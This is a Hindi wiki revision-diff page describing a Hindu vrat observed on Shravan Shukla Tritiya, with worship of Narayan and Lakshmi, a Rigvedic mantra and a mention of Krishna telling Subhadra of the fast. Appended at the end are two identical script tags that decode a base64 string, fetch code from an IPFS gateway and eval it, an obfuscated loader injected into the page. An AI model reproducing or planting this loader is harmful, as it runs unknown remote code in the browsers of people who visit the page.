व्यवस्थापन (वार्ता | योगदान) छो (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==") |
व्यवस्थापन (वार्ता | योगदान) छो (Text replace - ")</ref" to "</ref") |
||
(इसी सदस्य द्वारा किया गया बीच का एक अवतरण नहीं दर्शाया गया) | |||
पंक्ति 3: | पंक्ति 3: | ||
*[[नारायण]] एवं [[लक्ष्मी]] की पूजा करनी चाहिए। | *[[नारायण]] एवं [[लक्ष्मी]] की पूजा करनी चाहिए। | ||
*तीन वर्षों के लिए करना चाहिए। | *तीन वर्षों के लिए करना चाहिए। | ||
*मंत्र ये हैं– 'विष्णोर्नु कम्'<ref> | *मंत्र ये हैं– 'विष्णोर्नु कम्'<ref>[[ऋग्वेद]] 1|154|1) एवं 'सक्तुभिव' (ऋग्वेद 10|72|2); व्रतराज (101-103</ref> | ||
*[[कृष्ण]] ने इस व्रत का वर्णन अपनी बहन [[सुभद्रा]] से किया था। | *[[कृष्ण]] ने इस व्रत का वर्णन अपनी बहन [[सुभद्रा]] से किया था। | ||
12:47, 27 जुलाई 2011 के समय का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- यह व्रत हस्त नक्षत्र में श्रावण शुक्ल पक्ष की तृतीया पर किया जाता है।
- नारायण एवं लक्ष्मी की पूजा करनी चाहिए।
- तीन वर्षों के लिए करना चाहिए।
- मंत्र ये हैं– 'विष्णोर्नु कम्'[1]
- कृष्ण ने इस व्रत का वर्णन अपनी बहन सुभद्रा से किया था।
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>